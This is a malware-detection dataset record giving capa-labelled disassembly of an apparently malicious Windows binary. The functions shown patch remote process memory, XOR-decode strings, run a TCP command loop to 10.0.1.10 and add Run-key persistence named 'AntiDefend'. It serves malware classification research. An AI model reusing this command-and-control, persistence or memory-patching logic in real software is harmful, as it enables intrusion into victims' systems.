joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400052a0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, r8
mov rax, rdx
mov r9d, 0x10000000
mov r8d, 1
mov edx, ecx
mov rcx, rax
call fcn.140001ed0
mov r14, rax
mov rdi, qword [0x140024e58]
test rdi, rdi
jne 0x140005327
mov qword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 1
lea r9d, [rdi + 0x1c]
lea r8, str.xxxxxxxxxxxxxxxxxxxxxxxxxxxx
lea rdx, [0x14001cf08]
mov rcx, qword [0x140025918]
call fcn.140001e30
mov rdi, rax
mov qword [0x140024e58], rax
movups xmm0, xmmword [0x140019bd8]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [0x140019be8]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140019bec]
mov word [rbp - 0xc], ax
movzx eax, byte [0x140019bee]
mov byte [rbp - 0xa], al
xorps xmm0, xmm0
movdqu xmmword [0x140025948], xmm0
xor ecx, ecx
mov qword [0x140025958], rcx
mov qword [0x140025940], rdi
test rdi, rdi
je 0x1400053b9
mov ebx, ecx
movzx eax, byte [rdi + rbx]
mov byte [rbp - 0x30], al
mov rdx, qword [0x140025950]
cmp rdx, rcx
je 0x140005390
mov byte [rdx], al
inc qword [0x140025950]
jmp 0x1400053a0
lea r8, [rbp - 0x30]
lea rcx, [0x140025948]
call fcn.1400148a0
inc rbx
mov rdi, qword [0x140025940]
cmp rbx, 0x16
jae 0x1400053b9
mov rcx, qword [0x140025958]
jmp 0x140005372
mov byte [rbp - 0x1e], r14b
mov rax, r14
shr rax, 8
mov byte [rbp - 0x1d], al
mov rax, r14
shr rax, 0x10
mov byte [rbp - 0x1c], al
mov rax, r14
shr rax, 0x18
mov byte [rbp - 0x1b], al
mov rax, r14
shr rax, 0x20
mov byte [rbp - 0x1a], al
mov rax, r14
shr rax, 0x28
mov byte [rbp - 0x19], al
mov rax, r14
shr rax, 0x30
mov byte [rbp - 0x18], al
shr r14, 0x38
mov byte [rbp - 0x17], r14b
mov byte [rbp - 0x14], sil
mov rax, rsi
shr rax, 8
mov byte [rbp - 0x13], al
mov rax, rsi
shr rax, 0x10
mov byte [rbp - 0x12], al
mov rax, rsi
shr rax, 0x18
mov byte [rbp - 0x11], al
mov rax, rsi
shr rax, 0x20
mov byte [rbp - 0x10], al
mov rax, rsi
shr rax, 0x28
mov byte [rbp - 0xf], al
mov rax, rsi
shr rax, 0x30
mov byte [rbp - 0xe], al
shr rsi, 0x38
mov byte [rbp - 0xd], sil
mov ebx, dword [0x140025950]
sub ebx, dword [0x140025948]
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x140025938]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, ebx
lea rdx, [rbp - 0x20]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x2c]
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x140025938]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400167a0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400054d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdx, qword [0x140025948]
lea r8, [0x14001cf05]
xor ebx, ebx
mov ecx, ebx
lea rax, [rdx + 0x15]
cmp rdx, r8
ja 0x14000552a
lea r8, [0x14001cef0]
cmp rax, r8
jb 0x14000552a
nop dword [rax]
movzx eax, byte [r8 + rcx]
mov byte [rdx + rcx], al
inc rcx
cmp rcx, 0x16
jae 0x140005548
mov rdx, qword [0x140025948]
jmp 0x140005510
mov eax, dword [0x14001cf00]
movups xmm0, xmmword [0x14001cef0]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x14001cf04]
mov word [rdx + 0x14], ax
mov r8, qword [0x140025950]
lea rax, [rsp + 0x30]
sub r8, qword [0x140025948]
mov r9d, 0x40
mov rdx, qword [0x140025940]
mov rcx, qword [0x140025938]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [0x140025950]
mov rcx, qword [0x140025948]
cmp r8, rcx
je 0x1400055ba
nop dword [rax]
movzx ecx, byte [rcx + rbx]
mov rax, qword [0x140025940]
mov byte [rax + rbx], cl
inc rbx
mov r8, qword [0x140025950]
mov rcx, qword [0x140025948]
mov rax, r8
sub rax, rcx
cmp rbx, rax
jb 0x140005590
mov r9d, dword [rsp + 0x30]
lea rax, [rsp + 0x34]
mov rdx, qword [0x140025940]
sub r8, rcx
mov rcx, qword [0x140025938]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400167a0
add rsp, 0x40
pop rbx
ret
Function at 0x14000b490
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
lea rdx, [0x14000b300]
mov rcx, qword [0x140025938]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
xor ecx, ecx
mov qword [rsp + 0x50], rcx
lea rax, [0x14000b300]
mov qword [rsp + 0x38], rax
mov ebx, ecx
mov rdx, qword [rsp + 0x48]
nop
movzx eax, byte [rbx + rax]
mov byte [rsp + 0x30], al
cmp rdx, rcx
je 0x14000b51e
mov byte [rdx], al
mov rdx, qword [rsp + 0x48]
inc rdx
mov qword [rsp + 0x48], rdx
jmp 0x14000b532
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1400148a0
mov rdx, qword [rsp + 0x48]
inc rbx
cmp rbx, 0x100
jae 0x14000b54a
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
jmp 0x14000b500
lea rcx, [rsp + 0x38]
call fcn.140004e90
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x34]
mov r8d, 0x100
lea rdx, [0x14000b300]
mov rcx, qword [0x140025938]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000b5bd
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b5b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b5b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400167c0
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400167a0
add rsp, 0x60
pop rbx
ret
Function at 0x140012290
Capabilities:
Encode data using xor

Disassembly:
mov r9, rcx
mov r10, rdx
xor ecx, ecx
mov eax, dword [r9]
test eax, eax
je 0x1400122cd
nop
mov r8d, dword [r9 + 4]
xor edx, edx
mov rax, rcx
div r8
movzx eax, byte [rdx + r10]
xor byte [r9 + rcx + 8], al
inc rcx
mov eax, dword [r9]
cmp rcx, rax
jb 0x1400122a0
test eax, eax
je 0x1400122cd
dec eax
mov byte [rax + r9 + 8], 0
lea rax, [r9 + 8]
ret

Function at 0x140012320
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001235b
lea r10, [0x14001b134]
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x140012330
test eax, eax
je 0x14001235b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x1400125a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x1400125db
lea r10, [0x140019b3c]
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x1400125b0
test eax, eax
je 0x1400125db
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x1400125e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001261b
lea r10, str.xorrrrrr
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x1400125f0
test eax, eax
je 0x14001261b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x140012620
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001265b
lea r10, [0x140019b24]
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x140012630
test eax, eax
je 0x14001265b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x140012660
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001269b
lea r10, str.XORRR
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x140012670
test eax, eax
je 0x14001269b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x1400126a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x1400126db
lea r10, str.Ref_us_al.
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x1400126b0
test eax, eax
je 0x1400126db
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret
Function at 0x1400126e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001271b
lea r10, str.Bladeburners_2079
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x1400126f0
test eax, eax
je 0x14001271b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x140012720
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001275b
lea r10, str.Kings_defeat
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x140012730
test eax, eax
je 0x14001275b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x140012760
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
xor r9d, r9d
test eax, eax
je 0x14001279b
lea r10, str.R3PMUJ
mov r8d, dword [rcx + 4]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + r10]
xor byte [rcx + r9 + 8], al
inc r9
mov eax, dword [rcx]
cmp r9, rax
jb 0x140012770
test eax, eax
je 0x14001279b
dec eax
mov byte [rax + rcx + 8], 0
lea rax, [rcx + 8]
ret

Function at 0x140012d60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140012d97
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140012db8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140012dba
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140012e13
test ecx, ecx
jle 0x140012df3
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140012e13
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140012e13
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140012e40
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140012e62
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140012e78
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140012e94
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140012e96
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x140012ed0
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140012f77
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x140012f0b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140012f51
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140012f90
cmp rbx, rax
ja 0x140012f20
mov r8, rdi
test rdi, rdi
je 0x140012f77
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x140012f7a
Function at 0x140013390
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400133bd
xor eax, eax
jmp 0x140013512
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x1400133e8
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x1400133e8
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140013512
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140013505
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14001342b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140013456
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001350a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400134c5
sub eax, 1
je 0x1400134c5
cmp eax, 2
jne 0x140013505
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001350a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400134f3
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140013505
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14001350a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400167a0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400139a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140013a73
cmp byte [rcx + 0x71], 0
je 0x140013a73
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140013a6f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140013a34
sub eax, 1
je 0x140013a38
cmp eax, 2
jne 0x140013a6f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400167a0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140013a66
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140013a6f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140013a1c
xor al, al
jmp 0x140013a1c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400167a0
add rsp, 0x60
pop rbx
ret

Function at 0x140015bd0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140024010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140016944
mov qword [rax], rbx
mov qword [rsp + 0x30], rax
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400160d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140015c46
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400167a0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140011096
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x140011b20
push rbp
push rdi
sub rsp, 0xf58
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf28], rax
lea rcx, [0x1400240a9]
call fcn.1400113fc
nop
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x140011b93
mov edx, dword [rbp + 0x1c4]
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.1400111db
nop
jmp 0x140011d64
mov eax, 2
mov word [rbp + 0x208], ax
lea r8, [rbp + 0x20c]
lea rdx, str.10.0.1.10
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
nop
mov cx, 0x1b39
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x20a], ax
xor eax, eax
cmp eax, 1
je 0x140011c47
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1e8], rax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140011c36
lea rcx, str.Connection_failed._Retrying_in_5_seconds..._n
call fcn.1400111db
nop
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x140011bca
lea rcx, str.Connected_to_server__n
call fcn.1400111db
nop
jmp 0x140011c47
movzx eax, byte [0x14001b11a]
mov byte [rbp + 0x240], al
lea rax, [rbp + 0x241]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ff
rep stosb byte [rdi], al
xor eax, eax
cmp eax, 1
je 0x140011d4f
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jg 0x140011ca3
jmp 0x140011d4f
movsxd rax, dword [rbp + 0x654]
mov qword [rbp + 0xf18], rax
cmp qword [rbp + 0xf18], 0x400
jae 0x140011cc0
jmp 0x140011cc6
call fcn.140011316
nop
mov rax, qword [rbp + 0xf18]
mov byte [rbp + rax + 0x240], 0
movzx eax, byte [0x14001b11a]
mov byte [rbp + 0x680], al
lea rax, [rbp + 0x681]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ff
rep stosb byte [rdi], al
lea r8, [rbp + 0x240]
mov edx, 0x400
lea rcx, [rbp + 0x680]
call fcn.140011127
nop
lea rcx, [rbp + 0x680]
call fcn.1400111ae
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x680]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
nop
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x240]
call fcn.140011334
nop
jmp 0x140011c67
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.140011389
mov rcx, qword [rbp + 0xf28]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0xf38]
pop rdi
pop rbp
ret
Function at 0x140011244
Capabilities:
Terminate process

Disassembly:
jmp 0x140012420
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112b2
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x1400118d0
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x1400240a9]
call fcn.1400113fc
nop
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x28], rax
lea rax, str.AntiDefend
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x70]
call fcn.14001128a
nop
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400119b2
lea rcx, [rbp + 0x70]
call fcn.1400111ae
inc rax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140011998
lea rcx, str.Failed_to_set_registry_value_n
call fcn.1400111db
nop
jmp 0x1400119a5
lea rcx, str.Persistence_added_successfully_n
call fcn.1400111db
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x1400119bf
lea rcx, str.Error_opening_registry_n
call fcn.1400111db
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001af40]
call fcn.140011389
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret

Function at 0x1400112df
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014ba0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014bc0
xor al, al
jmp 0x140014c41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014bd3
xor al, al
jmp 0x140014c41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
